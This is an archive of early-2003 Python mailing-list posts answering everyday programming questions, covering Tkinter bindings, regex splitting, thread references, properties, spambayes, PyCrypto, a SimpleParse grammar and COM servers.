Message-ID: <b16qcd$td9$1@main.gmane.org>

Perhaps you could drop in on the Mono mailing list mono-list at go-mono.org and introduce
your project? The CLI experts there probably have many ideas on C# interfaces to C code;
they've been wrapping every library they can get their hands on from what I can see, from
GTK to postgresql.

http://go-mono.org/mailing-lists.html

"Chetan Gadgil" <cgjunkaddr at attbi.com> wrote in message
news:3WyZ9.67758$_s4.37551 at rwcrnsc54...
> :-(
> I had to use managed C++ to interface with Python.
> Python runs as unmanaged code. Unmanaged code is possible even in C#, but
> how would that interface with Python?
> Any ideas? Are you thinking of PInvoke?

As one alternative, possibly. I read an MSDN article about wrapping Win32 serial I/O that
seemed to get similar heavy-lifting done while staying in C#. That solution did use
P/Invoke. On Mono, GTK# and the WinForms port could be using a mono equivalent or
implementation of P/Invoke.

http://msdn.microsoft.com/msdnmag/issues/02/10/NETSerialComm/default.aspx

> A good solution would be to have a managed C++ compiler (mg++ anyone? ;-))
> for Mono.

I'm sure it will happen someday. A VB.Net compiler 'mbas' is underway. But the C# compiler
'mcs' is the main implementation, and the most full-featured.








From lac at strakt.com  Thu Jan  9 02:43:29 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 08:43:29 +0100
Subject: Tkinter keybindings
In-Reply-To: Your message of "Wed, 08 Jan 2003 17:25:39 GMT."
             <kumhva.h54.ln@anto.cuni.lan> 
References: <3n6cva.n64.ln@anto.cuni.lan> <avfjij$bcb$1@news2.tilbu1.nb.home.nl> <kumhva.h54.ln@anto.cuni.lan> 
Message-ID: <200301090743.h097hTjL011949@ratthing-b246.strakt.com>

I didn't do this for windows, but once I needed to remove the tab binding
altogether from a text widget.  There is something funny about the tab, and
bindtags let tab pass right through the text widget and into my signal
handler.  But brute force worked:

from Tkinter import *

def key_event(event):
        print 'keysym:' + event.keysym

root = Tk()
text = Text(root,height=10,width=50,font='courier 9')
text.bind("<Key>", key_event)
l_b_ts = text.bindtags()

# after the next line, the Key event wont be raised for Tabs
text.bindtags((l_b_ts[1],l_b_ts[0],l_b_ts[2],l_b_ts[3])) 

# now it will
print newTextBinds
newTextBinds = l_b_ts[1],l_b_ts[0],l_b_ts[2],l_b_ts[3]
text.bindtags = newTextBinds

text.pack()
root.mainloop()

This was about my fifth Tkinter program, and I wrote it to help
AlankarMisra who posted it as a problem on c.lang.python in 2001
sometime.   The important detail is that the method call didn't rebind 
the tab key, but rebinding it by hand worked.

HTH,
Laura Creighton




From pete-temp-12-29-2002 at kazmier.com  Mon Jan 13 09:24:39 2003
From: pete-temp-12-29-2002 at kazmier.com (pete-temp-12-29-2002 at kazmier.com)
Date: Mon, 13 Jan 2003 14:24:39 GMT
Subject: python equiv of perl's split?
Message-ID: <m3k7h9p1p4.fsf@coco.kazmier.com>

Just wondering what the 'best' way of emulating perl's split() method
when used in the following manner:

     split /(:)/

Basically, split the string using a colon as the separator.  NOTE: the
parens indicate that the split function should *include* the colons in
the returned list.  Thus, given the string:

     test:one:two:three

The following array (list) is returned:

     test
     :
     one
     :
     two
     :
     three

What would be the easiest way to emulate this in Python?

Thanks,
Pete




From aleax at aleax.it  Mon Jan 27 14:12:11 2003
From: aleax at aleax.it (Alex Martelli)
Date: Mon, 27 Jan 2003 19:12:11 GMT
Subject: About object reference and threads
References: <umsa3vsdnlf8pckkbpog5qnloi89h7v6vk@4ax.com>
Message-ID: <fwfZ9.123500$AA2.5203921@news2.tin.it>

Grumfish wrote:

> How do I tell a Thread object what Queue object to use? I have a
> parent object that has a Queue and a Thread as members. I want the
> parent object to create the thread, tell it to write to to the Queue
> object, then start the Thread. How do I do this? How do I get a
> reference to an object?

Any time you mention "an object", e.g. by mentioning the name of
a variable that refers to the object, what you do is exactly this:
you "get a reference to the object".  Python never makes a copy
unless you specifically ask for a copy (what it means to "ask for
a copy" may depend: e.g., a slice on a list asks for a copy, but
a slice on a Numeric.array doesn't).

So, just pass the Queue instance to some appropriate method of the Thread 
instance, e.g. the constructor; the method can assign its argument to some 
appropriate instance variable; and throughout this, it will always be a 
reference to the original Queue instance that gets assigned, and methods 
can later be directly called on it.


Alex




From lac at strakt.com  Thu Jan 30 19:31:34 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 31 Jan 2003 01:31:34 +0100
Subject: Tab characters considered harmful (Was: Emacs has eaten my py thon tabs!!!) 
In-Reply-To: Message from "Delaney, Timothy" <tdelaney@avaya.com> 
   of "Fri, 31 Jan 2003 11:15:44 +1100." <B43D149A9AB2D411971300B0D03D7E8B02ADC3FD@natasha.auslabs.avaya.com> 
References: <B43D149A9AB2D411971300B0D03D7E8B02ADC3FD@natasha.auslabs.avaya.com> 
Message-ID: <200301310031.h0V0VYjL002813@ratthing-b246.strakt.com>

> > From: Laura Creighton [mailto:lac at strakt.com]
> > 
> > treacle: Molasses in Syrup.  I think it is called 'Golden 
> > Syrup' in parts of the USA.  Attracts flies.
> 
> I'm pretty sure "Golden Syrup" is somewhat different to treacle, at least
> here in Australia. It's one of the more important products from sugar cane.
> Tastes wonderful ... but *very* sweet and rich.
> 
> OTOH, golden syrup is pervasive here (for a start, it's an essential
> ingredient in Anzac biscuits - the ultimate tea-dunking biscuit), whilst I
> don't think I've ever seen actual "treacle", so I'm no authority on the
> mtter ;)
> 
> Tim Delaney
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Well, when I wrote that, I was actually thinking of 'M?rk sirap', and
my Swedish-English dictionary translated that as 'Treacle'.

Laura




From judoscript at hotmail.com  Fri Jan 10 00:31:21 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 21:31:21 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org> <52719db8.0301082259.535824a4@posting.google.com> <3e1de2b7$0$25512$a1866201@newsreader.visi.com>
Message-ID: <52719db8.0301092131.6c9d4b63@posting.google.com>

grante at visi.com (Grant Edwards) wrote in message news:<3e1de2b7$0$25512$a1866201 at newsreader.visi.com>...
> In article <52719db8.0301082259.535824a4 at posting.google.com>, James Huang wrote:
> 
> > Allow me to give my non-scientific definition of scripting language:
> > 
> > Scripting (in programming sense)
> >================================
> > is to do things easily, intuitively, obviously, and accurately, so
> > much so that when another person (with the same domain knowledge) sees
> > a chunk of code, he immediately understands it without even a hint of
> > reasoning (ideally).
> 
> I don't think that's a common definition of "scripting". I'd
> say that what you stated above is (or should be) a goal for any
> programming language of any type.

You are serious?

> 
> I would define scripting as writing a program to automate a
> repetative task that might normally done manually (via a series
> of GUI point and click operations or a series of manually
> entered shell commands).

Automation is certainly a scripting activity. Scripting (as Terry
Hancock pointed, perhaps years agon) is a matter of usage. When one
wants to do something quickly, one needs [my definition]; otherwise,
to make library most re-usable, APIs have to be low-level, with
fine-granularity and that leads to something totally in the opposite
direction. Nothing wrong of course, but they are not good for
scripting. Java APIs is not much different, BTW.



From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 15:03:25 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 20:03:25 +0000
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <a8b7f07a.0301301124.2a705406@posting.google.com>
Message-ID: <561j3vsjcuunba9msqdpc77c2v2oolj7b4@4ax.com>

alloydflanagan at attbi.com (A. Lloyd Flanagan) wrote:

>In python, if you ever try to explicitly check the type of something,
>you're almost certainly doing it wrong.  You don't care if the thing
>is a list, usually, you want to know if it's a sequence, whether a
>list, tuple, set, or some user-defined type.  So try subscripting it:
>
>def aslist(x):
>   try:
>      x[0]
>   except TypeError:
>      return [x]
>   return x
>
>or just:
>
>try:
>     mangle = [x for x in lst if whatever]
>except TypeError:
>     mangle = [x for x in [lst] if whatever]

x[0] takes the first char of a string and iterating over a string
gives you each character.

Not what I'm after, I'm afraid.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From paul at mackinney.net  Thu Jan  9 17:09:16 2003
From: paul at mackinney.net (Paul Mackinney)
Date: Thu, 9 Jan 2003 14:09:16 -0800
Subject: Two email module questions
In-Reply-To: <avjjis$ebk$1@slb3.atl.mindspring.net>
References: <mailman.1042104496.12144.python-list@python.org> <avjjis$ebk$1@slb3.atl.mindspring.net>
Message-ID: <20030109220916.GA12826@dog.mackinney.net>

Andrew Dalke declaimed:
> There was a thread about this a week or two back.  It comes down to,
> do you trust garbage collection or not?  If not, you'll probably want
Thanks for the answer & the improved long version.

> So try 'print msg.tostring()'
This doesn't work (in 2.2.1) and 'print str(msg)' prints the unixfrom as
does 'print msg.__str__()' [I'm guessing that these are really the same
call.] But I'm content that to know where it's coming from.

Thanks, PM
-- 
Paul Mackinney
paul at mackinney.net




From raims at dot.com  Fri Jan 10 09:04:32 2003
From: raims at dot.com (Rhymes)
Date: Fri, 10 Jan 2003 15:04:32 +0100
Subject: Python vs .Net
References: <mailman.1041757635.32193.python-list@python.org> <32ZR9.60$Xy5.5595271@mantis.golden.net>
Message-ID: <ulkt1vc577v8qgestl2eb78hps885qe51j@4ax.com>

On Sun, 5 Jan 2003 11:20:47 -0500, "Etienne Charland"
<mystery at golden.net> wrote:

>Do you have an idea of when MONO will be ready?

at the end of the first half of the current year...there will be the
first official release

Rhymes



From wurmy at earthlink.net  Mon Jan 13 12:41:56 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Mon, 13 Jan 2003 17:41:56 GMT
Subject: OT: spam filtering idea
References: <7xr8bhhy0n.fsf@ruckus.brouhaha.com>
Message-ID: <3E22FB43.1030305@earthlink.net>

Paul Rubin wrote:

> The idea is to run the probability coefficients through a digital
> filter, so the probabilities decay over time.  That is, you give
> special emphasis to words found in RECENTLY RECEIVED spam.  If you get
> message M with the words "banana", "elephant", and "doorknob", that
> doesn't make M is especially likely to be spam.  

Maybe in the future it will be, when all conventional spam is caught by spam 
filters, and certain words cannot be used anymore...  "Is your banana the size 
of a doorknob? Use <brand X> to make it the size of an elephant!" :-)

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From jmdeschamps at cvm.qc.ca  Fri Jan 17 15:44:38 2003
From: jmdeschamps at cvm.qc.ca (jmdeschamps)
Date: 17 Jan 2003 12:44:38 -0800
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com>
Message-ID: <3d06fae9.0301171244.7d4af674@posting.google.com>

"Wouter van Marle" <wouterm at spammers-unite-here.com> wrote in message news:<b08ank$dak12 at imsp212.netvigator.com>...
> Hi All,
> 
> Can anyone recommend me an introduction on object oriented programming in
> general, and the trick in Python? Preferrably tutorial on the web or so.
> ...
> Thanks!
> 
> Wouter.

Try http://www.freenetpages.co.uk/hp/alan.gauld/tutclass.htm 

Good luck, and have fun!

Jean-Marc



From gerhard.haering at opus-gmbh.net  Wed Jan 15 09:50:54 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 15 Jan 2003 14:50:54 GMT
Subject: Detect when a class member is updated
References: <67446a0a.0301150634.f6d0c43@posting.google.com> <JreV9.3050$YI5.839@news2.central.cox.net>
Message-ID: <slrnb2at1n.1hk.gerhard.haering@haering.opus-gmbh.net>

Steve Holden <sholden at holdenweb.com> wrote:
> "Boethius" <boethius at techie.com> wrote in message
> news:67446a0a.0301150634.f6d0c43 at posting.google.com...
>> Can I detect when a class member is added or updated?
>>
>> I have a class with a member called path. Everytime it's updated, I'd
>> like to run a 'sanity check' on the new value.
>>
>> How can I do this?
> 
> Take a look at "setattr()" generally, and the __setattr__() special method
> inparticular. This allows you to trap access to attributes.

That was necessary before properties were introduced in Python 2.2. So you
might as well write something like:

#v+
class MyClass(object):
    def __init__(self):
        self._path = None

    def _get_path(self):
        return self._path

    def _set_path(self, value):
        if isinstance(value, str): # a primitive check
            self._path = value
        else:
            raise ValueError

    path = property(_get_path, _set_path)
#v-

Note that properties only work with new-style classes (inherited from
object). See http://python.org/2.2.2/descrintro.html for details.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From danb_83 at yahoo.com  Thu Jan 16 15:06:30 2003
From: danb_83 at yahoo.com (Dan Bishop)
Date: 16 Jan 2003 12:06:30 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042691249.4564.python-list@python.org> <3E264756.A24BC2D7@alcyone.com> <zgzV9.5758$YI5.1800@news2.central.cox.net>
Message-ID: <ad052e5c.0301161206.42bde64c@posting.google.com>

"Steve Holden" <sholden at holdenweb.com> wrote in message news:<zgzV9.5758$YI5.1800 at news2.central.cox.net>...
> "Erik Max Francis" <max at alcyone.com> wrote ...
> > Tim Peters wrote:
> >
> > > Which one?  The definition of public domain is conventional.
> >
> > Yes, and explicitly waiving copyright (or having it expire) and
> > releasing works into the public domain is explicitly allowed for in
> > copyright law.
> >
> Although, of course, we shouldn't overlook the proclivity of Congress to
> extend copyright terms arbitrarily so that the families of 1960s pop starts
> will be able to live comfortably off a royalty stream that would otherwise
> have expired.

Or 1920s cartoonists.

The Eldred decision was ridiculous.



From dave at pythonapocrypha.com  Mon Jan 20 01:16:36 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Sun, 19 Jan 2003 22:16:36 -0800 (PST)
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301191441590.20859-100000@techunix.technion.ac.il>
References: <mailman.1042817433.6322.python-list@python.org>
 <Pine.GSO.4.44_heb2.09.0301191441590.20859-100000@techunix.technion.ac.il>
Message-ID: <Pine.LNX.4.51.0301192209100.13854@ns0.tbye.com>

On Sun, 19 Jan 2003, Beni Cherniavsky wrote:

> > At the time, lexical nesting didn't yet exist in Python either.The case
> > for "magically local" bindings has gotten stronger since lexical nesting was
> > added, but now we've got a backwards compatibility burden too.
> >
> There is one central use for leaving the binding alive in for loops: when
> you can exit it prematurely and want to record where you did.  This is one
> thing missing from list comprehensions - a way to break in the middle.

I dunno - IMO a list comprehension is for building a list from another
list, so the only legitimate reasons for breaking out prematurely would be
some sort of optimization on processing ordered lists or maybe some sort
of "select first n occurences of f(x)" or something - cases not common
enough to warrant special list comp behavior since such needs can be
handled much better by plain for loops.

> Especially needed when iterating over infinite interators

But why use a list comprehension for that?

-Dave




From clspence at one.net  Sun Jan 19 02:56:00 2003
From: clspence at one.net (Chris Spencer)
Date: 19 Jan 2003 01:56:00 -0600
Subject: spambayes rocks
Message-ID: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com>

	I saw a post about spambayes from Tim Peters a couple of days ago.  I
went to the homepage (http://spambayes.sourceforge.net/) and downloaded the most
recent CVS tree.  I used the pop3proxy in conjunction with Forte's Agent email
program.
	I must say, after a 15 minute training period, I'm pleasantly stunned by
the effectiveness of this spam filter.  I think it'd help people out if the
maintainers could release like a 0.10 version on sourceforge.  Not everyone
"gets" CVS.
<infomercial>
Over the past year the spam situation has gotten so bad that I've actually
stopped checking my email on a regular basis.  With spambayes, I don't actually
have any qualms about keeping my mail client up all the time now.  I haven't
seen it filter out any "real" email, and it seems to catch 100% of the spam I
get.  Spammers should be very afraid of this library.
</infomercial>
	I want to thank the maintainers of the spambayes library (module?
utility?).  You've made my life a little better today.

Chris.



From mcfletch at rogers.com  Tue Jan 28 11:05:51 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 28 Jan 2003 11:05:51 -0500
Subject: Can you do it faster? (parsing text file)
In-Reply-To: <001c01c2c6d3$558f02b0$0364a8c0@bcg.com>
References: <3e3650fc.2103718@news.easynews.net> <001c01c2c6d3$558f02b0$0364a8c0@bcg.com>
Message-ID: <3E36AA5F.4020701@rogers.com>

Since Stephen suggested it, here is a simpleparse grammar that parses 
out the various features in the file, though it leaves the array of data 
values as a single block, with the idea that you'd want to use low-level 
processing for that (string.translate then string.split, and then map 
float, storing the result in Numeric python arrays).  (Parsing 
individual floats would create 5 Python objects for each float _on top 
of_ what you would need with the low-level manipulation you'll 
eventually have to do.)

Parsing the test file with this grammar takes ~2 seconds on a 1GHz 
machine, incidentally.  You'll still need to process the parse-tree, but 
that's not particularly slow. Parsing the same file, but extracting 
individual floats during parsing takes approximately three minutes.

Testing this has pointed out a number of small memory leaks in a few 
features, will have to look at those when I get back to SimpleParse 
development.

BTW, Stephen, regarding speed:
    Keep in mind that a large part of the time spent in parsing is 
actually spent building the result tree (which isn't done if you're 
skipping text), and that the character-class and string-literal parsers 
are wickedly fast (they map directly to mxTextTools primitives).  Your 
grammar is running about three times faster than my VRML97 grammars 
(which run about 200,000cps on my 1GHz machine), but those build a full 
parse-tree for the entire file (I don't often try building parse-trees 
for files > 10 MB, would probably be slower for those). Can't explain 
any other orders of magnitude ;) , you'll have to ask Marc-Andr? :) .

Enjoy,
Mike

from simpleparse.parser import Parser
from simpleparse import dispatchprocessor
from simpleparse.common import numbers, chartypes
import time

definition = r"""
file  := (comment_line/command_line)+

<comment_line> := '**', -[\n]*, '\n'?,ws
command_line   := '*', name, ws, parameter_list?,ws, EOL?, 
(data/comment_line)*
## Note the simplified definition!!!
data           := [0-9,-eE. \t\n]+

 >parameter_list< := ',',ws, (parameter, ','?, ws)+

parameter := name, ws, '=', ws, (number/name), ws

name    := [a-zA-Z0-9-]+
<ws>    := [ \t]*
<EOL>   := '\n'
"""
p = Parser( definition, 'file')

Enjoy,
Mike

Stephen Simmons wrote:

>Marcus,
>
>Have you looked at Mike Fletcher's SimpleParse package
>  
>
...

>I use it for parsing complicated text structures out of 60Mb RTF text files.
>The EBNF grammars are long and complicated with deeply nested entity
>definitions (the grammar itself is ~200 lines long). Nevertheless
>SimpleParse/mxTextTools takes around a minute to parse and tag, which is
>several orders of magnitude faster that I feel it really ought to take.
>
>Your data structure is much, much simpler, and your files smaller. So if
>your code takes 32 seconds at the moment, maybe 5 seconds or less or so
>could be possible.
>
>Best of luck,
>
>Stephen
>  
>
...

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From aleax at aleax.it  Thu Jan 30 05:20:35 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 10:20:35 GMT
Subject: best way to do some simple tasks
References: <c42e062e.0301291531.6a656e4@posting.google.com>
Message-ID: <T%6_9.103294$0v.3004999@news1.tin.it>

Erik Lechak wrote:

> Hello all,
> 
> I am transitioning from perl to python.  I find myself trying to do
> many things in a perlish way.  Perl made many common tasks such as
> string manipulations easy (in a perlish sort of way).  So I was
> wondering if someone could suggest the "pythonish" way of doing these

I see you have received many helpful answers to your specific
questions so i'm not going to dwell on them.  However, you may
also want to look into the book "Perl to Python Migration", by
Martin Brown, Addison-Wesley.  I have not examined it in detail
myself, and the reviews are a bit mixed, but overall positive --
it might suit your needs quite well.


Alex




From andrew-pythonlist at puzzling.org  Wed Jan 29 08:40:59 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 30 Jan 2003 00:40:59 +1100
Subject: New Python block cipher API, comments wanted
In-Reply-To: <16010000.1043840827@localhost.localdomain>
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <mailman.1043816392.20156.python-list@python.org> <7xu1fsbj6b.fsf@ruckus.brouhaha.com> <16010000.1043840827@localhost.localdomain>
Message-ID: <20030129134059.GA11958@frobozz.local>

On Thu, Jan 30, 2003 at 12:47:07AM +1300, Andrew McGregor wrote:
> 
> 
> --On Tuesday, January 28, 2003 21:48:28 -0800 Paul Rubin 
> <phr-n2003b at NOSPAMnightsong.com> wrote:
> 
> >In fact, I don't think any module implementing PEP 272 has ever been
> >written, and the interface it describes isn't that great, so I
> >wouldn't call the PEP process a big success where block ciphers are
> >concerned.  There was a bunch of subsequent discussion on
> >Python-crypto that led up to the current proposal, and that seems to
> >have done a better job.
> 
> Um, there is such a module, it's called PyCrypto and is at at least 
> revision 1.9.  I've used it to write a significant application, which 
> interoperates with others using different libraries.  Nice C or even ix86 
> assembler ciphers, very, very fast.  It has an API feature I'd call 
> essential that are not part of PEP 272 but is included in your proposal, 
> that is the ability to change IV after creating a cipher, between uses of 
> it.

PyCrypto certainly seems solid -- Twisted has an SSH2 implementation,
Twisted Conch, that uses it, and it seems to work very nicely (as does conch
:).

I haven't looked at any of the implementations or APIs or anything, but the
I take the fact that Conch "Just Works" to be a good sign :)

-Andrew.





From clifford.wells at attbi.com  Thu Jan  9 20:54:52 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 09 Jan 2003 17:54:52 -0800
Subject: Mail <-> News gateway not working?
In-Reply-To: <Pine.LNX.4.44.0301091458400.2017-100000@bagend.odc.vzwcorp.com>
References: <Pine.LNX.4.44.0301091458400.2017-100000@bagend.odc.vzwcorp.com>
Message-ID: <1042163692.6001.255.camel@x1-6-00-04-5a-64-c4-03>

On Thu, 2003-01-09 at 12:00, Scherer, Bill wrote:
> On Thu, 9 Jan 2003, Cliff Wells wrote:
> 
> > I haven't seen anything I've posted all morning (via the mail list), and
> > my ego is starting to shrivel.
> 
> It must have a leak. 

And I thought the hissing was coming from the list.

> Mail volume seems normal to me.

Well, the stuff I posted finally came through, after only 10 hours.  I
guess it took the scenic route.

-- 
Cliff Wells <clifford.wells at attbi.com>





From uwe.schmitt at procoders.net  Tue Jan 28 17:24:32 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 28 Jan 2003 22:24:32 GMT
Subject: Novice question: Implementing COM Objects with Python
References: <cfd500a9.0301281415.7436900@posting.google.com>
Message-ID: <b16vv0$vg3c5$1@hades.rz.uni-sb.de>

Rolfe <rolfedh at hotmail.com> wrote:
> I'm trying the code (see further down) from Mark Hammonds Python
> Programming on Win32, page 68, and get the following error:
> ...
> What am I doing wrong? 

It looks like missing "import pythocom (from....)" ...

You should uncomment the "_reg_clsid_.." line,
generate the GUID once, 
( type 'import pyhtoncom' and 'print str(pythoncom.CreateGuid())'
  at the python command line)
and insert it in the code.

As far as I understand your code, you will get different
GUID's with each invokation, which makes no sense.

The 'print' makes no sense in the class definition.

Greetings, Uwe.

> Code:
> "
> ##SimpleCOMServer.py - a sample com server
> ##
> ##we expose a single method in a python com object
> class PythonUtilities:
>     _public_methods_ = [ 'SplitString' ]
>     _reg_progid_ = "PythonDemos.Utilities"
>     #NEVER copy the following ID
>     print pythoncom.CreateGuid()
>     #_reg_clsid_ = print.pythoncom.CreateGuid()

>     def SplitString(self, val, item=None):
>         import string
>         if item != None: item = str(item)
>         return string.split(str(val), item)

-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From gleki at gol.ge  Thu Jan  2 07:35:28 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Thu, 02 Jan 2003 13:35:28 +0100
Subject: still about symbolic computaions
Message-ID: <3E143210.DE15659@gol.ge>

Hi all,

I have googled and found well-designd stuff targetted to symbolic
computation in python.

Is there anybody using this paradigm and one of those libs practically?

TIA,
Giorgi




From bokr at oz.net  Mon Jan 20 19:26:53 2003
From: bokr at oz.net (Bengt Richter)
Date: 21 Jan 2003 00:26:53 GMT
Subject: Import from zip file?
References: <19804fd8.0301200235.7febb837@posting.google.com> <mailman.1043080959.13793.python-list@python.org>
Message-ID: <b0i44d$8ul$0@216.39.172.122>

On Mon, 20 Jan 2003 17:43:06 +0100, Gerrit Holl <gerrit at nl.linux.org> wrote:

>Robert schreef op maandag 20 januari om 11:47:36 +0000:
>> What is the easyiest way to import modules/module-trees from zip files (Python 2.2)?
>
>In case you switch to python 2.3, you can use the zipimport module.
>http://www.python.org/doc/2.3a1/whatsnew/node11.html
>http://www.python.org/peps/pep-0273.html
>
Hm, guess I'd better get 2.3, or at least read the news *<;^p

Regards,
Bengt Richter



From exarkun at intarweb.us  Sun Jan 19 12:50:20 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sun, 19 Jan 2003 12:50:20 -0500
Subject: Overloading methods in C API
In-Reply-To: <og8k2vcu9ro7alrotei17tnm7umvmnou8f@4ax.com>
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <og8k2vcu9ro7alrotei17tnm7umvmnou8f@4ax.com>
Message-ID: <20030119175020.GA24658@meson.dyndns.org>

On Sun, Jan 19, 2003 at 03:56:00AM +0000, Afanasiy wrote:
> On 18 Jan 2003 19:56:24 GMT, Grant Edwards <grante at visi.com> wrote:
> 
> Like others, I was caught by "C [has] the former"... and I will just
> say... I meant overloading that developers could define themselves.
> 
> Otherwise, I have a tough time thinking of a language
> that doesn't have operator "overloading"...

  Many ML variants lack it to some extent.  In O'Caml, for example, + only
works on integers.  For arbitrary integers (Nums), +/ is the addition
operator (likewise for */, //, %/, etc).

  Jp
-- 
 12:00am up 34 days, 9:48, 3 users, load average: 0.23, 0.25, 0.22
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030119/e9557503/attachment.sig>

From pete-temp-12-29-2002 at kazmier.com  Mon Jan 13 10:45:09 2003
From: pete-temp-12-29-2002 at kazmier.com (pete-temp-12-29-2002 at kazmier.com)
Date: Mon, 13 Jan 2003 15:45:09 GMT
Subject: python equiv of perl's split?
References: <m3k7h9p1p4.fsf@coco.kazmier.com> <avuka4$fub$1@s1.read.news.oleane.net>
Message-ID: <m3el7hoxyy.fsf@coco.kazmier.com>

>>>> import re re.split("(:)", "test:one:two:three")
> ['test', ':', 'one', ':', 'two', ':', 'three']

Doh!  I didn't realize there was a split in the 're' module, I was
using the one from the 'string' module.  

Thanks for your quick response,
Pete



From andrew-pythonlist at puzzling.org  Fri Jan 17 04:16:49 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 17 Jan 2003 20:16:49 +1100
Subject: iterating in reverse
In-Reply-To: <7x7kd46u6b.fsf@ruckus.brouhaha.com>
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042762951.20430.python-list@python.org> <7x7kd46u6b.fsf@ruckus.brouhaha.com>
Message-ID: <20030117091649.GO3199@frobozz.local>

On Fri, Jan 17, 2003 at 12:45:48AM -0800, Paul Rubin wrote:
> Andrew Bennetts <andrew-pythonlist at puzzling.org> writes:
> > > will always print x's contents in the
> > > same sequence.  Is there an elegant and
> > > efficient way to iterate through x in
> > > reverse without having to create a reversed
> > > copy of it (i.e. y=x[:]; y.reverse())?
> > 
> > Get the Python 2.3 alpha, and it's really easy :)
> > 
> > >>> l = [1,2,3,4,5]
> > >>> for i in l[::-1]:
> > ...     print i
> 
> My guess is that the above creates a reversed copy.

It probably does -- but I don't know, and therefore it's good enough <wink>.

what-I-don't-know-can't-hurt-me-'ly yrs, Andrew.





From mwh at python.net  Wed Jan 15 11:56:58 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 16:56:58 GMT
Subject: python 2.3a1 pdb broken? or is it a feature?
References: <ba1e306f.0301090952.2a5fe0ba@posting.google.com>
Message-ID: <7h3znq2pczp.fsf@pc150.maths.bris.ac.uk>

janeaustine50 at hotmail.com (Jane Austine) writes:

> I'm running python 2.3a1 on a Win32 machine.
> 
> pdb's behaviour seems to have been changed from 2.2*.

Yes.

> "user_call" method is added, and it's called automatically
> for every function/method call when I set a breakpoint somewhere
> else and "continue".
> 
> For example:

[...]

> I desparately want to Continue.

Sigh, this is probably my fault.  Create a bug on sf and assign it to
me? (sf username mwh).

Cheers,
M.

-- 
  Considering that this thread is completely on-topic in the way only
  c.l.py threads can be, I think I can say that you should replace
  "Oblivion" with "Gravity", and increase your Radiohead quotient.
                                      -- Ben Wolfson, comp.lang.python



From mwm at mired.org  Tue Jan  7 23:24:52 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 04:24:52 GMT
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose  language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <200301070058.46770.andy@eastonwest.co.uk> <mailman.1041978406.1461.python-list@python.org>
Message-ID: <x7smw4w9nu.fsf@guru.mired.org>

Yu Wang <Yu.Wang at synopsys.com> writes:
> I still remember my CSH scripts full of "$" and "\" "/" that make my
> eyes green.

:-). You had it lucky. Contemplate the following:

(($+functions[_p4_pending_changelists])) ||
_p4_pending_changelists () {
    compadd "$@" ${${${(f)"$(p4 changes -s pending 2>/dev/null)"}#* }%% *}
}

> I'm wondering whether there'll be a easy way to implement Shell commands.
> Like Perl does with "``".

And what's wrong with os.popen? Sure, it's a bit more verbose than
`...`, but that's not necessarily a bad thing. Personally, I quite
writing `...` even in the shell, and use $(...) for readability these
days.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
